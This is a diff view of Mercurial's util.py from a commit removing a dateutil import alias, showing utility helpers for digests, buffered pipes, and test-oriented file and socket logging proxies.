##// END OF EJS Templates
util: drop remainder of dateutil/procutil aliases (API)
Yuya Nishihara -
r37993:59f1e33f default
parent child Browse files
Show More
@@ -1,3792 +1,3784 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import itertools
26 26 import mmap
27 27 import os
28 28 import platform as pyplatform
29 29 import re as remod
30 30 import shutil
31 31 import socket
32 32 import stat
33 33 import sys
34 34 import tempfile
35 35 import time
36 36 import traceback
37 37 import warnings
38 38 import zlib
39 39
40 40 from . import (
41 41 encoding,
42 42 error,
43 43 i18n,
44 44 node as nodemod,
45 45 policy,
46 46 pycompat,
47 47 urllibcompat,
48 48 )
49 49 from .utils import (
50 dateutil,
51 50 procutil,
52 51 stringutil,
53 52 )
54 53
55 54 base85 = policy.importmod(r'base85')
56 55 osutil = policy.importmod(r'osutil')
57 56 parsers = policy.importmod(r'parsers')
58 57
59 58 b85decode = base85.b85decode
60 59 b85encode = base85.b85encode
61 60
62 61 cookielib = pycompat.cookielib
63 62 httplib = pycompat.httplib
64 63 pickle = pycompat.pickle
65 64 safehasattr = pycompat.safehasattr
66 65 socketserver = pycompat.socketserver
67 66 bytesio = pycompat.bytesio
68 67 # TODO deprecate stringio name, as it is a lie on Python 3.
69 68 stringio = bytesio
70 69 xmlrpclib = pycompat.xmlrpclib
71 70
72 71 httpserver = urllibcompat.httpserver
73 72 urlerr = urllibcompat.urlerr
74 73 urlreq = urllibcompat.urlreq
75 74
76 75 # workaround for win32mbcs
77 76 _filenamebytestr = pycompat.bytestr
78 77
79 78 if pycompat.iswindows:
80 79 from . import windows as platform
81 80 else:
82 81 from . import posix as platform
83 82
84 83 _ = i18n._
85 84
86 85 bindunixsocket = platform.bindunixsocket
87 86 cachestat = platform.cachestat
88 87 checkexec = platform.checkexec
89 88 checklink = platform.checklink
90 89 copymode = platform.copymode
91 90 expandglobs = platform.expandglobs
92 91 getfsmountpoint = platform.getfsmountpoint
93 92 getfstype = platform.getfstype
94 93 groupmembers = platform.groupmembers
95 94 groupname = platform.groupname
96 95 isexec = platform.isexec
97 96 isowner = platform.isowner
98 97 listdir = osutil.listdir
99 98 localpath = platform.localpath
100 99 lookupreg = platform.lookupreg
101 100 makedir = platform.makedir
102 101 nlinks = platform.nlinks
103 102 normpath = platform.normpath
104 103 normcase = platform.normcase
105 104 normcasespec = platform.normcasespec
106 105 normcasefallback = platform.normcasefallback
107 106 openhardlinks = platform.openhardlinks
108 107 oslink = platform.oslink
109 108 parsepatchoutput = platform.parsepatchoutput
110 109 pconvert = platform.pconvert
111 110 poll = platform.poll
112 111 posixfile = platform.posixfile
113 112 rename = platform.rename
114 113 removedirs = platform.removedirs
115 114 samedevice = platform.samedevice
116 115 samefile = platform.samefile
117 116 samestat = platform.samestat
118 117 setflags = platform.setflags
119 118 split = platform.split
120 119 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
121 120 statisexec = platform.statisexec
122 121 statislink = platform.statislink
123 122 umask = platform.umask
124 123 unlink = platform.unlink
125 124 username = platform.username
126 125
127 126 try:
128 127 recvfds = osutil.recvfds
129 128 except AttributeError:
130 129 pass
131 130
132 131 # Python compatibility
133 132
134 133 _notset = object()
135 134
136 135 def _rapply(f, xs):
137 136 if xs is None:
138 137 # assume None means non-value of optional data
139 138 return xs
140 139 if isinstance(xs, (list, set, tuple)):
141 140 return type(xs)(_rapply(f, x) for x in xs)
142 141 if isinstance(xs, dict):
143 142 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
144 143 return f(xs)
145 144
146 145 def rapply(f, xs):
147 146 """Apply function recursively to every item preserving the data structure
148 147
149 148 >>> def f(x):
150 149 ... return 'f(%s)' % x
151 150 >>> rapply(f, None) is None
152 151 True
153 152 >>> rapply(f, 'a')
154 153 'f(a)'
155 154 >>> rapply(f, {'a'}) == {'f(a)'}
156 155 True
157 156 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
158 157 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
159 158
160 159 >>> xs = [object()]
161 160 >>> rapply(pycompat.identity, xs) is xs
162 161 True
163 162 """
164 163 if f is pycompat.identity:
165 164 # fast path mainly for py2
166 165 return xs
167 166 return _rapply(f, xs)
168 167
169 168 def bitsfrom(container):
170 169 bits = 0
171 170 for bit in container:
172 171 bits |= bit
173 172 return bits
174 173
175 174 # python 2.6 still have deprecation warning enabled by default. We do not want
176 175 # to display anything to standard user so detect if we are running test and
177 176 # only use python deprecation warning in this case.
178 177 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
179 178 if _dowarn:
180 179 # explicitly unfilter our warning for python 2.7
181 180 #
182 181 # The option of setting PYTHONWARNINGS in the test runner was investigated.
183 182 # However, module name set through PYTHONWARNINGS was exactly matched, so
184 183 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
185 184 # makes the whole PYTHONWARNINGS thing useless for our usecase.
186 185 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
187 186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
188 187 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
189 188 if _dowarn and pycompat.ispy3:
190 189 # silence warning emitted by passing user string to re.sub()
191 190 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
192 191 r'mercurial')
193 192 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
194 193 DeprecationWarning, r'mercurial')
195 194 # TODO: reinvent imp.is_frozen()
196 195 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
197 196 DeprecationWarning, r'mercurial')
198 197
199 198 def nouideprecwarn(msg, version, stacklevel=1):
200 199 """Issue an python native deprecation warning
201 200
202 201 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
203 202 """
204 203 if _dowarn:
205 204 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
206 205 " update your code.)") % version
207 206 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
208 207
209 208 DIGESTS = {
210 209 'md5': hashlib.md5,
211 210 'sha1': hashlib.sha1,
212 211 'sha512': hashlib.sha512,
213 212 }
214 213 # List of digest types from strongest to weakest
215 214 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
216 215
217 216 for k in DIGESTS_BY_STRENGTH:
218 217 assert k in DIGESTS
219 218
220 219 class digester(object):
221 220 """helper to compute digests.
222 221
223 222 This helper can be used to compute one or more digests given their name.
224 223
225 224 >>> d = digester([b'md5', b'sha1'])
226 225 >>> d.update(b'foo')
227 226 >>> [k for k in sorted(d)]
228 227 ['md5', 'sha1']
229 228 >>> d[b'md5']
230 229 'acbd18db4cc2f85cedef654fccc4a4d8'
231 230 >>> d[b'sha1']
232 231 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
233 232 >>> digester.preferred([b'md5', b'sha1'])
234 233 'sha1'
235 234 """
236 235
237 236 def __init__(self, digests, s=''):
238 237 self._hashes = {}
239 238 for k in digests:
240 239 if k not in DIGESTS:
241 240 raise error.Abort(_('unknown digest type: %s') % k)
242 241 self._hashes[k] = DIGESTS[k]()
243 242 if s:
244 243 self.update(s)
245 244
246 245 def update(self, data):
247 246 for h in self._hashes.values():
248 247 h.update(data)
249 248
250 249 def __getitem__(self, key):
251 250 if key not in DIGESTS:
252 251 raise error.Abort(_('unknown digest type: %s') % k)
253 252 return nodemod.hex(self._hashes[key].digest())
254 253
255 254 def __iter__(self):
256 255 return iter(self._hashes)
257 256
258 257 @staticmethod
259 258 def preferred(supported):
260 259 """returns the strongest digest type in both supported and DIGESTS."""
261 260
262 261 for k in DIGESTS_BY_STRENGTH:
263 262 if k in supported:
264 263 return k
265 264 return None
266 265
267 266 class digestchecker(object):
268 267 """file handle wrapper that additionally checks content against a given
269 268 size and digests.
270 269
271 270 d = digestchecker(fh, size, {'md5': '...'})
272 271
273 272 When multiple digests are given, all of them are validated.
274 273 """
275 274
276 275 def __init__(self, fh, size, digests):
277 276 self._fh = fh
278 277 self._size = size
279 278 self._got = 0
280 279 self._digests = dict(digests)
281 280 self._digester = digester(self._digests.keys())
282 281
283 282 def read(self, length=-1):
284 283 content = self._fh.read(length)
285 284 self._digester.update(content)
286 285 self._got += len(content)
287 286 return content
288 287
289 288 def validate(self):
290 289 if self._size != self._got:
291 290 raise error.Abort(_('size mismatch: expected %d, got %d') %
292 291 (self._size, self._got))
293 292 for k, v in self._digests.items():
294 293 if v != self._digester[k]:
295 294 # i18n: first parameter is a digest name
296 295 raise error.Abort(_('%s mismatch: expected %s, got %s') %
297 296 (k, v, self._digester[k]))
298 297
299 298 try:
300 299 buffer = buffer
301 300 except NameError:
302 301 def buffer(sliceable, offset=0, length=None):
303 302 if length is not None:
304 303 return memoryview(sliceable)[offset:offset + length]
305 304 return memoryview(sliceable)[offset:]
306 305
307 306 _chunksize = 4096
308 307
309 308 class bufferedinputpipe(object):
310 309 """a manually buffered input pipe
311 310
312 311 Python will not let us use buffered IO and lazy reading with 'polling' at
313 312 the same time. We cannot probe the buffer state and select will not detect
314 313 that data are ready to read if they are already buffered.
315 314
316 315 This class let us work around that by implementing its own buffering
317 316 (allowing efficient readline) while offering a way to know if the buffer is
318 317 empty from the output (allowing collaboration of the buffer with polling).
319 318
320 319 This class lives in the 'util' module because it makes use of the 'os'
321 320 module from the python stdlib.
322 321 """
323 322 def __new__(cls, fh):
324 323 # If we receive a fileobjectproxy, we need to use a variation of this
325 324 # class that notifies observers about activity.
326 325 if isinstance(fh, fileobjectproxy):
327 326 cls = observedbufferedinputpipe
328 327
329 328 return super(bufferedinputpipe, cls).__new__(cls)
330 329
331 330 def __init__(self, input):
332 331 self._input = input
333 332 self._buffer = []
334 333 self._eof = False
335 334 self._lenbuf = 0
336 335
337 336 @property
338 337 def hasbuffer(self):
339 338 """True is any data is currently buffered
340 339
341 340 This will be used externally a pre-step for polling IO. If there is
342 341 already data then no polling should be set in place."""
343 342 return bool(self._buffer)
344 343
345 344 @property
346 345 def closed(self):
347 346 return self._input.closed
348 347
349 348 def fileno(self):
350 349 return self._input.fileno()
351 350
352 351 def close(self):
353 352 return self._input.close()
354 353
355 354 def read(self, size):
356 355 while (not self._eof) and (self._lenbuf < size):
357 356 self._fillbuffer()
358 357 return self._frombuffer(size)
359 358
360 359 def readline(self, *args, **kwargs):
361 360 if 1 < len(self._buffer):
362 361 # this should not happen because both read and readline end with a
363 362 # _frombuffer call that collapse it.
364 363 self._buffer = [''.join(self._buffer)]
365 364 self._lenbuf = len(self._buffer[0])
366 365 lfi = -1
367 366 if self._buffer:
368 367 lfi = self._buffer[-1].find('\n')
369 368 while (not self._eof) and lfi < 0:
370 369 self._fillbuffer()
371 370 if self._buffer:
372 371 lfi = self._buffer[-1].find('\n')
373 372 size = lfi + 1
374 373 if lfi < 0: # end of file
375 374 size = self._lenbuf
376 375 elif 1 < len(self._buffer):
377 376 # we need to take previous chunks into account
378 377 size += self._lenbuf - len(self._buffer[-1])
379 378 return self._frombuffer(size)
380 379
381 380 def _frombuffer(self, size):
382 381 """return at most 'size' data from the buffer
383 382
384 383 The data are removed from the buffer."""
385 384 if size == 0 or not self._buffer:
386 385 return ''
387 386 buf = self._buffer[0]
388 387 if 1 < len(self._buffer):
389 388 buf = ''.join(self._buffer)
390 389
391 390 data = buf[:size]
392 391 buf = buf[len(data):]
393 392 if buf:
394 393 self._buffer = [buf]
395 394 self._lenbuf = len(buf)
396 395 else:
397 396 self._buffer = []
398 397 self._lenbuf = 0
399 398 return data
400 399
401 400 def _fillbuffer(self):
402 401 """read data to the buffer"""
403 402 data = os.read(self._input.fileno(), _chunksize)
404 403 if not data:
405 404 self._eof = True
406 405 else:
407 406 self._lenbuf += len(data)
408 407 self._buffer.append(data)
409 408
410 409 return data
411 410
412 411 def mmapread(fp):
413 412 try:
414 413 fd = getattr(fp, 'fileno', lambda: fp)()
415 414 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
416 415 except ValueError:
417 416 # Empty files cannot be mmapped, but mmapread should still work. Check
418 417 # if the file is empty, and if so, return an empty buffer.
419 418 if os.fstat(fd).st_size == 0:
420 419 return ''
421 420 raise
422 421
423 422 class fileobjectproxy(object):
424 423 """A proxy around file objects that tells a watcher when events occur.
425 424
426 425 This type is intended to only be used for testing purposes. Think hard
427 426 before using it in important code.
428 427 """
429 428 __slots__ = (
430 429 r'_orig',
431 430 r'_observer',
432 431 )
433 432
434 433 def __init__(self, fh, observer):
435 434 object.__setattr__(self, r'_orig', fh)
436 435 object.__setattr__(self, r'_observer', observer)
437 436
438 437 def __getattribute__(self, name):
439 438 ours = {
440 439 r'_observer',
441 440
442 441 # IOBase
443 442 r'close',
444 443 # closed if a property
445 444 r'fileno',
446 445 r'flush',
447 446 r'isatty',
448 447 r'readable',
449 448 r'readline',
450 449 r'readlines',
451 450 r'seek',
452 451 r'seekable',
453 452 r'tell',
454 453 r'truncate',
455 454 r'writable',
456 455 r'writelines',
457 456 # RawIOBase
458 457 r'read',
459 458 r'readall',
460 459 r'readinto',
461 460 r'write',
462 461 # BufferedIOBase
463 462 # raw is a property
464 463 r'detach',
465 464 # read defined above
466 465 r'read1',
467 466 # readinto defined above
468 467 # write defined above
469 468 }
470 469
471 470 # We only observe some methods.
472 471 if name in ours:
473 472 return object.__getattribute__(self, name)
474 473
475 474 return getattr(object.__getattribute__(self, r'_orig'), name)
476 475
477 476 def __nonzero__(self):
478 477 return bool(object.__getattribute__(self, r'_orig'))
479 478
480 479 __bool__ = __nonzero__
481 480
482 481 def __delattr__(self, name):
483 482 return delattr(object.__getattribute__(self, r'_orig'), name)
484 483
485 484 def __setattr__(self, name, value):
486 485 return setattr(object.__getattribute__(self, r'_orig'), name, value)
487 486
488 487 def __iter__(self):
489 488 return object.__getattribute__(self, r'_orig').__iter__()
490 489
491 490 def _observedcall(self, name, *args, **kwargs):
492 491 # Call the original object.
493 492 orig = object.__getattribute__(self, r'_orig')
494 493 res = getattr(orig, name)(*args, **kwargs)
495 494
496 495 # Call a method on the observer of the same name with arguments
497 496 # so it can react, log, etc.
498 497 observer = object.__getattribute__(self, r'_observer')
499 498 fn = getattr(observer, name, None)
500 499 if fn:
501 500 fn(res, *args, **kwargs)
502 501
503 502 return res
504 503
505 504 def close(self, *args, **kwargs):
506 505 return object.__getattribute__(self, r'_observedcall')(
507 506 r'close', *args, **kwargs)
508 507
509 508 def fileno(self, *args, **kwargs):
510 509 return object.__getattribute__(self, r'_observedcall')(
511 510 r'fileno', *args, **kwargs)
512 511
513 512 def flush(self, *args, **kwargs):
514 513 return object.__getattribute__(self, r'_observedcall')(
515 514 r'flush', *args, **kwargs)
516 515
517 516 def isatty(self, *args, **kwargs):
518 517 return object.__getattribute__(self, r'_observedcall')(
519 518 r'isatty', *args, **kwargs)
520 519
521 520 def readable(self, *args, **kwargs):
522 521 return object.__getattribute__(self, r'_observedcall')(
523 522 r'readable', *args, **kwargs)
524 523
525 524 def readline(self, *args, **kwargs):
526 525 return object.__getattribute__(self, r'_observedcall')(
527 526 r'readline', *args, **kwargs)
528 527
529 528 def readlines(self, *args, **kwargs):
530 529 return object.__getattribute__(self, r'_observedcall')(
531 530 r'readlines', *args, **kwargs)
532 531
533 532 def seek(self, *args, **kwargs):
534 533 return object.__getattribute__(self, r'_observedcall')(
535 534 r'seek', *args, **kwargs)
536 535
537 536 def seekable(self, *args, **kwargs):
538 537 return object.__getattribute__(self, r'_observedcall')(
539 538 r'seekable', *args, **kwargs)
540 539
541 540 def tell(self, *args, **kwargs):
542 541 return object.__getattribute__(self, r'_observedcall')(
543 542 r'tell', *args, **kwargs)
544 543
545 544 def truncate(self, *args, **kwargs):
546 545 return object.__getattribute__(self, r'_observedcall')(
547 546 r'truncate', *args, **kwargs)
548 547
549 548 def writable(self, *args, **kwargs):
550 549 return object.__getattribute__(self, r'_observedcall')(
551 550 r'writable', *args, **kwargs)
552 551
553 552 def writelines(self, *args, **kwargs):
554 553 return object.__getattribute__(self, r'_observedcall')(
555 554 r'writelines', *args, **kwargs)
556 555
557 556 def read(self, *args, **kwargs):
558 557 return object.__getattribute__(self, r'_observedcall')(
559 558 r'read', *args, **kwargs)
560 559
561 560 def readall(self, *args, **kwargs):
562 561 return object.__getattribute__(self, r'_observedcall')(
563 562 r'readall', *args, **kwargs)
564 563
565 564 def readinto(self, *args, **kwargs):
566 565 return object.__getattribute__(self, r'_observedcall')(
567 566 r'readinto', *args, **kwargs)
568 567
569 568 def write(self, *args, **kwargs):
570 569 return object.__getattribute__(self, r'_observedcall')(
571 570 r'write', *args, **kwargs)
572 571
573 572 def detach(self, *args, **kwargs):
574 573 return object.__getattribute__(self, r'_observedcall')(
575 574 r'detach', *args, **kwargs)
576 575
577 576 def read1(self, *args, **kwargs):
578 577 return object.__getattribute__(self, r'_observedcall')(
579 578 r'read1', *args, **kwargs)
580 579
581 580 class observedbufferedinputpipe(bufferedinputpipe):
582 581 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
583 582
584 583 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
585 584 bypass ``fileobjectproxy``. Because of this, we need to make
586 585 ``bufferedinputpipe`` aware of these operations.
587 586
588 587 This variation of ``bufferedinputpipe`` can notify observers about
589 588 ``os.read()`` events. It also re-publishes other events, such as
590 589 ``read()`` and ``readline()``.
591 590 """
592 591 def _fillbuffer(self):
593 592 res = super(observedbufferedinputpipe, self)._fillbuffer()
594 593
595 594 fn = getattr(self._input._observer, r'osread', None)
596 595 if fn:
597 596 fn(res, _chunksize)
598 597
599 598 return res
600 599
601 600 # We use different observer methods because the operation isn't
602 601 # performed on the actual file object but on us.
603 602 def read(self, size):
604 603 res = super(observedbufferedinputpipe, self).read(size)
605 604
606 605 fn = getattr(self._input._observer, r'bufferedread', None)
607 606 if fn:
608 607 fn(res, size)
609 608
610 609 return res
611 610
612 611 def readline(self, *args, **kwargs):
613 612 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
614 613
615 614 fn = getattr(self._input._observer, r'bufferedreadline', None)
616 615 if fn:
617 616 fn(res)
618 617
619 618 return res
620 619
621 620 PROXIED_SOCKET_METHODS = {
622 621 r'makefile',
623 622 r'recv',
624 623 r'recvfrom',
625 624 r'recvfrom_into',
626 625 r'recv_into',
627 626 r'send',
628 627 r'sendall',
629 628 r'sendto',
630 629 r'setblocking',
631 630 r'settimeout',
632 631 r'gettimeout',
633 632 r'setsockopt',
634 633 }
635 634
636 635 class socketproxy(object):
637 636 """A proxy around a socket that tells a watcher when events occur.
638 637
639 638 This is like ``fileobjectproxy`` except for sockets.
640 639
641 640 This type is intended to only be used for testing purposes. Think hard
642 641 before using it in important code.
643 642 """
644 643 __slots__ = (
645 644 r'_orig',
646 645 r'_observer',
647 646 )
648 647
649 648 def __init__(self, sock, observer):
650 649 object.__setattr__(self, r'_orig', sock)
651 650 object.__setattr__(self, r'_observer', observer)
652 651
653 652 def __getattribute__(self, name):
654 653 if name in PROXIED_SOCKET_METHODS:
655 654 return object.__getattribute__(self, name)
656 655
657 656 return getattr(object.__getattribute__(self, r'_orig'), name)
658 657
659 658 def __delattr__(self, name):
660 659 return delattr(object.__getattribute__(self, r'_orig'), name)
661 660
662 661 def __setattr__(self, name, value):
663 662 return setattr(object.__getattribute__(self, r'_orig'), name, value)
664 663
665 664 def __nonzero__(self):
666 665 return bool(object.__getattribute__(self, r'_orig'))
667 666
668 667 __bool__ = __nonzero__
669 668
670 669 def _observedcall(self, name, *args, **kwargs):
671 670 # Call the original object.
672 671 orig = object.__getattribute__(self, r'_orig')
673 672 res = getattr(orig, name)(*args, **kwargs)
674 673
675 674 # Call a method on the observer of the same name with arguments
676 675 # so it can react, log, etc.
677 676 observer = object.__getattribute__(self, r'_observer')
678 677 fn = getattr(observer, name, None)
679 678 if fn:
680 679 fn(res, *args, **kwargs)
681 680
682 681 return res
683 682
684 683 def makefile(self, *args, **kwargs):
685 684 res = object.__getattribute__(self, r'_observedcall')(
686 685 r'makefile', *args, **kwargs)
687 686
688 687 # The file object may be used for I/O. So we turn it into a
689 688 # proxy using our observer.
690 689 observer = object.__getattribute__(self, r'_observer')
691 690 return makeloggingfileobject(observer.fh, res, observer.name,
692 691 reads=observer.reads,
693 692 writes=observer.writes,
694 693 logdata=observer.logdata,
695 694 logdataapis=observer.logdataapis)
696 695
697 696 def recv(self, *args, **kwargs):
698 697 return object.__getattribute__(self, r'_observedcall')(
699 698 r'recv', *args, **kwargs)
700 699
701 700 def recvfrom(self, *args, **kwargs):
702 701 return object.__getattribute__(self, r'_observedcall')(
703 702 r'recvfrom', *args, **kwargs)
704 703
705 704 def recvfrom_into(self, *args, **kwargs):
706 705 return object.__getattribute__(self, r'_observedcall')(
707 706 r'recvfrom_into', *args, **kwargs)
708 707
709 708 def recv_into(self, *args, **kwargs):
710 709 return object.__getattribute__(self, r'_observedcall')(
711 710 r'recv_info', *args, **kwargs)
712 711
713 712 def send(self, *args, **kwargs):
714 713 return object.__getattribute__(self, r'_observedcall')(
715 714 r'send', *args, **kwargs)
716 715
717 716 def sendall(self, *args, **kwargs):
718 717 return object.__getattribute__(self, r'_observedcall')(
719 718 r'sendall', *args, **kwargs)
720 719
721 720 def sendto(self, *args, **kwargs):
722 721 return object.__getattribute__(self, r'_observedcall')(
723 722 r'sendto', *args, **kwargs)
724 723
725 724 def setblocking(self, *args, **kwargs):
726 725 return object.__getattribute__(self, r'_observedcall')(
727 726 r'setblocking', *args, **kwargs)
728 727
729 728 def settimeout(self, *args, **kwargs):
730 729 return object.__getattribute__(self, r'_observedcall')(
731 730 r'settimeout', *args, **kwargs)
732 731
733 732 def gettimeout(self, *args, **kwargs):
734 733 return object.__getattribute__(self, r'_observedcall')(
735 734 r'gettimeout', *args, **kwargs)
736 735
737 736 def setsockopt(self, *args, **kwargs):
738 737 return object.__getattribute__(self, r'_observedcall')(
739 738 r'setsockopt', *args, **kwargs)
740 739
741 740 class baseproxyobserver(object):
742 741 def _writedata(self, data):
743 742 if not self.logdata:
744 743 if self.logdataapis:
745 744 self.fh.write('\n')
746 745 self.fh.flush()
747 746 return
748 747
749 748 # Simple case writes all data on a single line.
750 749 if b'\n' not in data:
751 750 if self.logdataapis:
752 751 self.fh.write(': %s\n' % stringutil.escapestr(data))
753 752 else:
754 753 self.fh.write('%s> %s\n'
755 754 % (self.name, stringutil.escapestr(data)))
756 755 self.fh.flush()
757 756 return
758 757
759 758 # Data with newlines is written to multiple lines.
760 759 if self.logdataapis:
761 760 self.fh.write(':\n')
762 761
763 762 lines = data.splitlines(True)
764 763 for line in lines:
765 764 self.fh.write('%s> %s\n'
766 765 % (self.name, stringutil.escapestr(line)))
767 766 self.fh.flush()
768 767
769 768 class fileobjectobserver(baseproxyobserver):
770 769 """Logs file object activity."""
771 770 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
772 771 logdataapis=True):
773 772 self.fh = fh
774 773 self.name = name
775 774 self.logdata = logdata
776 775 self.logdataapis = logdataapis
777 776 self.reads = reads
778 777 self.writes = writes
779 778
780 779 def read(self, res, size=-1):
781 780 if not self.reads:
782 781 return
783 782 # Python 3 can return None from reads at EOF instead of empty strings.
784 783 if res is None:
785 784 res = ''
786 785
787 786 if self.logdataapis:
788 787 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
789 788
790 789 self._writedata(res)
791 790
792 791 def readline(self, res, limit=-1):
793 792 if not self.reads:
794 793 return
795 794
796 795 if self.logdataapis:
797 796 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
798 797
799 798 self._writedata(res)
800 799
801 800 def readinto(self, res, dest):
802 801 if not self.reads:
803 802 return
804 803
805 804 if self.logdataapis:
806 805 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
807 806 res))
808 807
809 808 data = dest[0:res] if res is not None else b''
810 809 self._writedata(data)
811 810
812 811 def write(self, res, data):
813 812 if not self.writes:
814 813 return
815 814
816 815 # Python 2 returns None from some write() calls. Python 3 (reasonably)
817 816 # returns the integer bytes written.
818 817 if res is None and data:
819 818 res = len(data)
820 819
821 820 if self.logdataapis:
822 821 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
823 822
824 823 self._writedata(data)
825 824
826 825 def flush(self, res):
827 826 if not self.writes:
828 827 return
829 828
830 829 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
831 830
832 831 # For observedbufferedinputpipe.
833 832 def bufferedread(self, res, size):
834 833 if not self.reads:
835 834 return
836 835
837 836 if self.logdataapis:
838 837 self.fh.write('%s> bufferedread(%d) -> %d' % (
839 838 self.name, size, len(res)))
840 839
841 840 self._writedata(res)
842 841
843 842 def bufferedreadline(self, res):
844 843 if not self.reads:
845 844 return
846 845
847 846 if self.logdataapis:
848 847 self.fh.write('%s> bufferedreadline() -> %d' % (
849 848 self.name, len(res)))
850 849
851 850 self._writedata(res)
852 851
853 852 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
854 853 logdata=False, logdataapis=True):
855 854 """Turn a file object into a logging file object."""
856 855
857 856 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
858 857 logdata=logdata, logdataapis=logdataapis)
859 858 return fileobjectproxy(fh, observer)
860 859
861 860 class socketobserver(baseproxyobserver):
862 861 """Logs socket activity."""
863 862 def __init__(self, fh, name, reads=True, writes=True, states=True,
864 863 logdata=False, logdataapis=True):
865 864 self.fh = fh
866 865 self.name = name
867 866 self.reads = reads
868 867 self.writes = writes
869 868 self.states = states
870 869 self.logdata = logdata
871 870 self.logdataapis = logdataapis
872 871
873 872 def makefile(self, res, mode=None, bufsize=None):
874 873 if not self.states:
875 874 return
876 875
877 876 self.fh.write('%s> makefile(%r, %r)\n' % (
878 877 self.name, mode, bufsize))
879 878
880 879 def recv(self, res, size, flags=0):
881 880 if not self.reads:
882 881 return
883 882
884 883 if self.logdataapis:
885 884 self.fh.write('%s> recv(%d, %d) -> %d' % (
886 885 self.name, size, flags, len(res)))
887 886 self._writedata(res)
888 887
889 888 def recvfrom(self, res, size, flags=0):
890 889 if not self.reads:
891 890 return
892 891
893 892 if self.logdataapis:
894 893 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
895 894 self.name, size, flags, len(res[0])))
896 895
897 896 self._writedata(res[0])
898 897
899 898 def recvfrom_into(self, res, buf, size, flags=0):
900 899 if not self.reads:
901 900 return
902 901
903 902 if self.logdataapis:
904 903 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
905 904 self.name, size, flags, res[0]))
906 905
907 906 self._writedata(buf[0:res[0]])
908 907
909 908 def recv_into(self, res, buf, size=0, flags=0):
910 909 if not self.reads:
911 910 return
912 911
913 912 if self.logdataapis:
914 913 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
915 914 self.name, size, flags, res))
916 915
917 916 self._writedata(buf[0:res])
918 917
919 918 def send(self, res, data, flags=0):
920 919 if not self.writes:
921 920 return
922 921
923 922 self.fh.write('%s> send(%d, %d) -> %d' % (
924 923 self.name, len(data), flags, len(res)))
925 924 self._writedata(data)
926 925
927 926 def sendall(self, res, data, flags=0):
928 927 if not self.writes:
929 928 return
930 929
931 930 if self.logdataapis:
932 931 # Returns None on success. So don't bother reporting return value.
933 932 self.fh.write('%s> sendall(%d, %d)' % (
934 933 self.name, len(data), flags))
935 934
936 935 self._writedata(data)
937 936
938 937 def sendto(self, res, data, flagsoraddress, address=None):
939 938 if not self.writes:
940 939 return
941 940
942 941 if address:
943 942 flags = flagsoraddress
944 943 else:
945 944 flags = 0
946 945
947 946 if self.logdataapis:
948 947 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
949 948 self.name, len(data), flags, address, res))
950 949
951 950 self._writedata(data)
952 951
953 952 def setblocking(self, res, flag):
954 953 if not self.states:
955 954 return
956 955
957 956 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
958 957
959 958 def settimeout(self, res, value):
960 959 if not self.states:
961 960 return
962 961
963 962 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
964 963
965 964 def gettimeout(self, res):
966 965 if not self.states:
967 966 return
968 967
969 968 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
970 969
971 970 def setsockopt(self, level, optname, value):
972 971 if not self.states:
973 972 return
974 973
975 974 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
976 975 self.name, level, optname, value))
977 976
978 977 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
979 978 logdata=False, logdataapis=True):
980 979 """Turn a socket into a logging socket."""
981 980
982 981 observer = socketobserver(logh, name, reads=reads, writes=writes,
983 982 states=states, logdata=logdata,
984 983 logdataapis=logdataapis)
985 984 return socketproxy(fh, observer)
986 985
987 986 def version():
988 987 """Return version information if available."""
989 988 try:
990 989 from . import __version__
991 990 return __version__.version
992 991 except ImportError:
993 992 return 'unknown'
994 993
995 994 def versiontuple(v=None, n=4):
996 995 """Parses a Mercurial version string into an N-tuple.
997 996
998 997 The version string to be parsed is specified with the ``v`` argument.
999 998 If it isn't defined, the current Mercurial version string will be parsed.
1000 999
